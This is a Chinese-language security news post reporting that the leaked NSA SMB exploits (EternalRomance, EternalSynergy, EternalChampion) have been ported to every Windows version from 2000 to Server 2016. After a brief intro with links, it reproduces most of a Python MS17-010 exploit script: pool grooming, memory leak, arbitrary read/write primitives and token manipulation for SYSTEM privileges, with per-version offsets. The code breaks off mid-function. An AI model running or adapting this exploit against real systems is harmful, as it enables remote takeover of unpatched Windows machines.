3个泄露的NSA漏洞利用工具重写 通杀所有Windows版本 附Exp

描述

       2017年4月份https://www.secfree.com/article-4.html，Shadow Broker 影子经纪人 泄露过的三个NSA漏洞近期被作出修改，现在可以攻击Windows 2000到Server 2016的所有标准和工作站版本。Github已经公开了相关资料。

       在此之前，EternalSynergy永恒协作、EternalRomance永恒浪漫和EternalChampion永恒冠军曾被用于 NotPetya网络攻击。然而，它们并没有和 EternalBlue 一样被恶意行为者所使用，因为它们无法在版本最新的Windows版本上使用。现在，风险感知安全研究人员Sean Dillon（又名@ zerosum0x0）已经改变了这一点，他将Microsoft服务器消息块 SMB漏洞，移植到了过去18年来发布的所有Windows版本上。

https://twitter.com/zerosum0x0

这些漏洞的“新的和改进的”版本，被移植到Metasploit框架中

https://github.com/rapid7/metasploit-framework/commit/6c350be24e3b36eedbbba3211a0c78bb4ca8cf06

或者单独进行exploit。

https://www.exploit-db.com/raw/42315/

#!/usr/bin/python

from impacket import smb, smbconnection

from mysmb import MYSMB

from struct import pack, unpack, unpack_from

import sys

import socket

import time

'''

MS17-010 exploit for Windows 2000 and later by sleepya
Note:

- The exploit should never crash a target (chance should be nearly 0%)

- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:

- Windows 2016 x64

- Windows 10 Pro Build 10240 x64

- Windows 2012 R2 x64

- Windows 8.1 x64

- Windows 2008 R2 SP1 x64

- Windows 7 SP1 x64

- Windows 2008 SP1 x64

- Windows 2003 R2 SP2 x64

- Windows XP SP2 x64

- Windows 8.1 x86

- Windows 7 SP1 x86

- Windows 2008 SP1 x86

- Windows 2003 SP2 x86

- Windows XP SP3 x86

- Windows 2000 SP4 x86

'''
USERNAME = ''

PASSWORD = ''
'''

A transaction with empty setup:

- it is allocated from paged pool (same as other transaction types) on Windows 7 and later

- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier

- no lookaside or caching method for allocating it
Note: method name is from NSA eternalromance
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit

for freed pool from large pool). Additionally, the exploit does the information leak to check transactions

alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size

smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But

a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).

Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment

in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback

of this method is we cannot do information leak to verify transactions alignment before OOB write.

So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.

'''
'''

Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()

win7 x64

struct SrvSecContext {

	DWORD xx1; // second WORD is size

	DWORD refCnt;

	PACCESS_TOKEN Token;  // 0x08

	DWORD xx2;

	BOOLEAN CopyOnOpen; // 0x14

	BOOLEAN EffectiveOnly;

	WORD xx3;

	DWORD ImpersonationLevel; // 0x18

	DWORD xx4;

	BOOLEAN UsePsImpersonateClient; // 0x20

}

win2012 x64

struct SrvSecContext {

	DWORD xx1; // second WORD is size

	DWORD refCnt;

	QWORD xx2;

	QWORD xx3;

	PACCESS_TOKEN Token;  // 0x18

	DWORD xx4;

	BOOLEAN CopyOnOpen; // 0x24

	BOOLEAN EffectiveOnly;

	WORD xx3;

	DWORD ImpersonationLevel; // 0x28

	DWORD xx4;

	BOOLEAN UsePsImpersonateClient; // 0x30

}
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.

It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 

From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,

PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns

STATUS_SUCCESS when Token is NULL.

If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)

to do all SMB operations.

Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only

  ImpersonateSecurityContext() is used in these Windows versions.

'''

###########################

# info for modify session security context

###########################

WIN7_64_SESSION_INFO = {

	'SESSION_SECCTX_OFFSET': 0xa0,

	'SESSION_ISNULL_OFFSET': 0xba,

	'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),

	'SECCTX_SIZE': 0x28,

}
WIN7_32_SESSION_INFO = {

	'SESSION_SECCTX_OFFSET': 0x80,

	'SESSION_ISNULL_OFFSET': 0x96,

	'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),

	'SECCTX_SIZE': 0x1c,

}
# win8+ info

WIN8_64_SESSION_INFO = {

	'SESSION_SECCTX_OFFSET': 0xb0,

	'SESSION_ISNULL_OFFSET': 0xca,

	'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),

	'SECCTX_SIZE': 0x38,

}
WIN8_32_SESSION_INFO = {

	'SESSION_SECCTX_OFFSET': 0x88,

	'SESSION_ISNULL_OFFSET': 0x9e,

	'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),

	'SECCTX_SIZE': 0x24,

}
# win 2003 (xp 64 bit is win 2003)

WIN2K3_64_SESSION_INFO = {

	'SESSION_ISNULL_OFFSET': 0xba,

	'SESSION_SECCTX_OFFSET': 0xa0,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)

	'SECCTX_PCTXTHANDLE_OFFSET': 0x10,  # PCtxtHandle is at offset 0x8 but only upperPart is needed

	'PCTXTHANDLE_TOKEN_OFFSET': 0x40,

	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,

	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,

}
WIN2K3_32_SESSION_INFO = {

	'SESSION_ISNULL_OFFSET': 0x96,

	'SESSION_SECCTX_OFFSET': 0x80,  # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)

	'SECCTX_PCTXTHANDLE_OFFSET': 0xc,  # PCtxtHandle is at offset 0x8 but only upperPart is needed

	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,

	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,

	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,

}
# win xp

WINXP_32_SESSION_INFO = {

	'SESSION_ISNULL_OFFSET': 0x94,

	'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed

	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,

	'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,

	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,

}
WIN2K_32_SESSION_INFO = {

	'SESSION_ISNULL_OFFSET': 0x94,

	'SESSION_SECCTX_OFFSET': 0x84,  # PCtxtHandle is at offset 0x80 but only upperPart is needed

	'PCTXTHANDLE_TOKEN_OFFSET': 0x24,

	'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,

	'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,

}
###########################

# info for exploitation

###########################

# for windows 2008+

WIN7_32_TRANS_INFO = {

	'TRANS_SIZE' : 0xa0,  # struct size

	'TRANS_FLINK_OFFSET' : 0x18,

	'TRANS_INPARAM_OFFSET' : 0x40,

	'TRANS_OUTPARAM_OFFSET' : 0x44,

	'TRANS_INDATA_OFFSET' : 0x48,

	'TRANS_OUTDATA_OFFSET' : 0x4c,

	'TRANS_PARAMCNT_OFFSET' : 0x58,

	'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,

	'TRANS_FUNCTION_OFFSET' : 0x72,

	'TRANS_MID_OFFSET' : 0x80,

}
WIN7_64_TRANS_INFO = {

	'TRANS_SIZE' : 0xf8,  # struct size

	'TRANS_FLINK_OFFSET' : 0x28,

	'TRANS_INPARAM_OFFSET' : 0x70,

	'TRANS_OUTPARAM_OFFSET' : 0x78,

	'TRANS_INDATA_OFFSET' : 0x80,

	'TRANS_OUTDATA_OFFSET' : 0x88,

	'TRANS_PARAMCNT_OFFSET' : 0x98,

	'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,

	'TRANS_FUNCTION_OFFSET' : 0xb2,

	'TRANS_MID_OFFSET' : 0xc0,

}
WIN5_32_TRANS_INFO = {

	'TRANS_SIZE' : 0x98,  # struct size

	'TRANS_FLINK_OFFSET' : 0x18,

	'TRANS_INPARAM_OFFSET' : 0x3c,

	'TRANS_OUTPARAM_OFFSET' : 0x40,

	'TRANS_INDATA_OFFSET' : 0x44,

	'TRANS_OUTDATA_OFFSET' : 0x48,

	'TRANS_PARAMCNT_OFFSET' : 0x54,

	'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,

	'TRANS_FUNCTION_OFFSET' : 0x6e,

	'TRANS_PID_OFFSET' : 0x78,

	'TRANS_MID_OFFSET' : 0x7c,

}
WIN5_64_TRANS_INFO = {

	'TRANS_SIZE' : 0xe0,  # struct size

	'TRANS_FLINK_OFFSET' : 0x28,

	'TRANS_INPARAM_OFFSET' : 0x68,

	'TRANS_OUTPARAM_OFFSET' : 0x70,

	'TRANS_INDATA_OFFSET' : 0x78,

	'TRANS_OUTDATA_OFFSET' : 0x80,

	'TRANS_PARAMCNT_OFFSET' : 0x90,

	'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,

	'TRANS_FUNCTION_OFFSET' : 0xaa,

	'TRANS_PID_OFFSET' : 0xb4,

	'TRANS_MID_OFFSET' : 0xb8,

}
X86_INFO = {

	'ARCH' : 'x86',

	'PTR_SIZE' : 4,

	'PTR_FMT' : 'I',

	'FRAG_TAG_OFFSET' : 12,

	'POOL_ALIGN' : 8,

	'SRV_BUFHDR_SIZE' : 8,

}
X64_INFO = {

	'ARCH' : 'x64',

	'PTR_SIZE' : 8,

	'PTR_FMT' : 'Q',

	'FRAG_TAG_OFFSET' : 0x14,

	'POOL_ALIGN' : 0x10,

	'SRV_BUFHDR_SIZE' : 0x10,

}
def merge_dicts(*dict_args):

	result = {}

	for dictionary in dict_args:

		result.update(dictionary)

	return result
OS_ARCH_INFO = {

	# for Windows Vista, 2008, 7 and 2008 R2

	'WIN7': {

		'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),

		'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),

	},

	# for Windows 8 and later

	'WIN8': {

		'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),

		'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),

	},

	'WINXP': {

		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),

		'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),

	},

	'WIN2K3': {

		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),

		'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),

	},

	'WIN2K': {

		'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),

	},

}
TRANS_NAME_LEN = 4

HEAP_HDR_SIZE = 8  # heap chunk header size
def calc_alloc_size(size, align_size):

	return (size + align_size - 1) & ~(align_size-1)
def wait_for_request_processed(conn):

	#time.sleep(0.05)

	# send echo is faster than sleep(0.05) when connection is very good

	conn.send_echo('a')
def find_named_pipe(conn):

	pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')

	found_pipe = None

	for pipe in pipes:

		try:

			fid = conn.nt_create_andx(tid, pipe)

			conn.close(tid, fid)

			found_pipe = pipe

		except smb.SessionError as e:

			pass
	conn.disconnect_tree(tid)

	return found_pipe
special_mid = 0

extra_last_mid = 0

def reset_extra_mid(conn):

	global extra_last_mid, special_mid

	special_mid = (conn.next_mid() & 0xff00) - 0x100

	extra_last_mid = special_mid
def next_extra_mid():

	global extra_last_mid

	extra_last_mid += 1

	return extra_last_mid
# Borrow 'groom' and 'bride' word from NSA tool

# GROOM_TRANS_SIZE includes transaction name, parameters and data

# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid

GROOM_TRANS_SIZE = 0x5010
def leak_frag_size(conn, tid, fid):

	# this method can be used on Windows Vista/2008 and later

	# leak "Frag" pool size and determine target architecture

	info = {}
	# A "Frag" pool is placed after the large pool allocation if last page has some free space left.

	# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.

	# To make exploit more generic, exploit does info leak to find a "Frag" pool size.

	# From the leak info, we can determine the target architecture too.

	mid = conn.next_mid()

	req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)

	req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
	conn.send_raw(req1[:-8])

	conn.send_raw(req1[-8:]+req2)

	leakData = conn.recv_transaction_data(mid, 0x10d0+276)

	leakData = leakData[0x10d4:]  # skip parameters and its own input

	# Detect target architecture and calculate frag pool size

	if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':

		print('Target is 32 bit')

		info['arch'] = 'x86'

		info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']

	elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':

		print('Target is 64 bit')

		info['arch'] = 'x64'

		info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']

	else:

		print('Not found Frag pool tag in leak data')

		sys.exit()
	print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))

	return info
def read_data(conn, info, read_addr, read_size):

	fmt = info['PTR_FMT']

	# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data

	# modify trans2.*ParameterCount and trans2.*DataCount to limit data

	new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData

	new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount

	new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount

	new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount

	new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)

	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
	# create one more transaction before leaking data

	# - next transaction can be used for arbitrary read/write after the current trans2 is done

	# - next transaction address is from TransactionListEntry.Flink value

	conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
	# finish the trans2 to leak

	conn.send_nt_trans_secondary(mid=info['trans2_mid'])

	read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
	# set new trans2 address

	info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
	# set trans1.InData to &trans2

	conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])

	wait_for_request_processed(conn)
	# modify trans2 mid

	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])

	wait_for_request_processed(conn)
	return read_data[8:]  # no need to return parameter
def write_data(conn, info, write_addr, write_data):

	# trans2.InData

	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])

	wait_for_request_processed(conn)
	# write data

	conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)

	wait_for_request_processed(conn)
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):

	trans_param = pack('<HH', fid, 0)  # param for NT_RENAME

	# fill large pagedpool holes (maybe no need)

	for i in range(numFill):

		conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
	mid_ntrename = conn.next_mid()

	# first GROOM, for leaking next BRIDE transaction

	req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)

	req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes

	# second GROOM, for controlling next BRIDE transaction

	req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)

	# many BRIDEs, expect two of them are allocated at splitted pool from GROOM

	reqs = []

	for i in range(12):

		mid = next_extra_mid()

		reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
	conn.send_raw(req1[:-8])

	conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
	# expected transactions alignment ("Frag" pool is not shown)

	#

	#    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |

	#    +-------------------------------+----------------+-------------------------------+----------------+

	#    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |

	#    +-------------------------------+----------------+-------------------------------+----------------+

	#

	# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.

	# From leaked transaction, we get

	# - leaked transaction address from InParameter or InData

	# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink

	# With these information, we can verify the transaction aligment from displacement.
	leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)

	leakData = leakData[0x10d4:]  # skip parameters and its own input

	#open('leak.dat', 'wb').write(leakData)
	if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':

		print('Not found Frag pool tag in leak data')

		return None
	# ================================

	# verify leak data

	# ================================

	leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]

	# check pool tag and size value in buffer header

	expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])

	leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']

	if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:

		print('No transaction struct in leak data')

		return None
	leakTrans = leakData[leakTransOffset:]
	ptrf = info['PTR_FMT']

	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)

	inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]

	leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
	print('CONNECTION: 0x{:x}'.format(connection_addr))

	print('SESSION: 0x{:x}'.format(session_addr))

	print('FLINK: 0x{:x}'.format(flink_value))

	print('InParam: 0x{:x}'.format(inparam_value))

	print('MID: 0x{:x}'.format(leak_mid))
	next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000

	if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:

		print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))

		return None

	# trans1: leak transaction

	# trans2: next transaction

	return {

		'connection': connection_addr,

		'session': session_addr,

		'next_page_addr': next_page_addr,

		'trans1_mid': leak_mid,

		'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,

		'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],

	}
def exploit_matched_pairs(conn, pipe_name, info):

	# for Windows 7/2008 R2 and later
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')

	conn.set_default_tid(tid)

	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.

	fid = conn.nt_create_andx(tid, pipe_name)
	info.update(leak_frag_size(conn, tid, fid))

	# add os and arch specific exploit info

	info.update(OS_ARCH_INFO[info['os']][info['arch']])
	# groom: srv buffer header

	info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])

	print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))

	# groom paramters and data is alignment by 8 because it is NT_TRANS

	info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']  # alignment (4)
	# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)

	bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']

	info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])

	print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))

	# bride paramters and data is alignment by 4 because it is TRANS

	info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
	# ================================

	# try align pagedpool and leak info until satisfy

	# ================================

	leakInfo = None

	# max attempt: 10

	for i in range(10):

		reset_extra_mid(conn)

		leakInfo = align_transaction_and_leak(conn, tid, fid, info)

		if leakInfo is not None:

			break

		print('leak failed... try again')

		conn.close(tid, fid)

		conn.disconnect_tree(tid)
		tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')

		conn.set_default_tid(tid)

		fid = conn.nt_create_andx(tid, pipe_name)
	if leakInfo is None:

		return False
	info['fid'] = fid

	info.update(leakInfo)
	# ================================

	# shift transGroom.Indata ptr with SmbWriteAndX

	# ================================

	shift_indata_byte = 0x200

	conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
	# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.

	#       So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.

	# maxParameterCount (0x1000), trans name (4), param (4)

	indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte

	indata_next_trans_displacement = info['trans2_addr'] - indata_value

	conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])

	wait_for_request_processed(conn)
	# if the overwritten is correct, a modified transaction mid should be special_mid now.

	# a new transaction with special_mid should be error.

	recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')

	if recvPkt.getNTStatus() != 0x10002:  # invalid SMB

		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))

		print('!!! Write to wrong place !!!')

		print('the target might be crashed')

		return False
	print('success controlling groom transaction')
	# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly

	# but this method make the transation never get freed

	# I will avoid memory leak
	# ================================

	# modify trans1 struct to be used for arbitrary read/write

	# ================================

	print('modify trans1 struct for arbitrary read/write')

	fmt = info['PTR_FMT']

	# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data

	conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])

	wait_for_request_processed(conn)
	# modify

	# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)

	# - trans1.InData to &trans2. so we can modify trans2 with trans1 data

	conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])

	wait_for_request_processed(conn)
	# modify trans2.mid

	info['trans2_mid'] = conn.next_mid()

	conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])

	return True
def exploit_fish_barrel(conn, pipe_name, info):

	# for Windows Vista/2008 and earlier
	tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')

	conn.set_default_tid(tid)

	# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.

	fid = conn.nt_create_andx(tid, pipe_name)

	info['fid'] = fid
	if info['os'] == 'WIN7' and 'arch' not in info:

		# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture

		info.update(leak_frag_size(conn, tid, fid))
	if 'arch' in info:

		# add os and arch specific exploit info

		info.update(OS_ARCH_INFO[info['os']][info['arch']])

		attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]

	else:

		# do not know target architecture

		# this case is only for Windows 2003

		# try offset of 64 bit then 32 bit because no target architecture

		attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
	# ================================

	# groom packets

	# ================================

	# sum of transaction name, parameters and data length is 0x1000

	# paramterCount = 0x100-TRANS_NAME_LEN

	print('Groom packets')

	trans_param = pack('<HH', info['fid'], 0)

	for i in range(12):

		mid = info['fid'] if i == 8 else next_extra_mid()

		conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)	
	# expected transactions alignment

	#

	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+

	#    |  mid=mid1 |  mid=mid2 |             |  mid=mid8 |  mid=fid  |  mid=mid9 | mid=mid10 | mid=mid11 |

	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+

	#                                                         trans1       trans2
	# ================================

	# shift transaction Indata ptr with SmbWriteAndX

	# ================================

	shift_indata_byte = 0x200

	conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
	# ================================

	# Dangerous operation: attempt to control one transaction

	# ================================

	# Note: POOL_ALIGN value is same as heap alignment value

	success = False

	for tinfo in attempt_list:

		print('attempt controlling next transaction on ' + tinfo['ARCH'])

		HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE']+HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']

		NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
		# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.

		conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])

		wait_for_request_processed(conn)
		# if the overwritten is correct, a modified transaction mid should be special_mid now.

		# a new transaction with special_mid should be error.

		recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')

		if recvPkt.getNTStatus() == 0x10002:  # invalid SMB

			print('success controlling one transaction')

			success = True

			if 'arch' not in info:

				print('Target is '+tinfo['ARCH'])

				info['arch'] = tinfo['ARCH']

				info.update(OS_ARCH_INFO[info['os']][info['arch']])

			break

		if recvPkt.getNTStatus() != 0:

			print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
	if not success:

		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))

		print('!!! Write to wrong place !!!')

		print('the target might be crashed')

		return False
	# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.

	# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder

	#   because of this unfreed memory chunk. I will avoid it.
	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two 

	# transactions (do not know the address).

	# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.

	# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.

	# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.

	# On 32 bit target, we can write to any address if parameter count is 0xffffffff.

	# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions

	#   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,

	#   we also modify HIDWORD of InParameter to 0xffffffff.
	print('modify parameter count to 0xffffffff to be able to write backward')

	conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])

	# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too

	if info['arch'] == 'x64':

		conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)

	wait_for_request_processed(conn)
	TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE

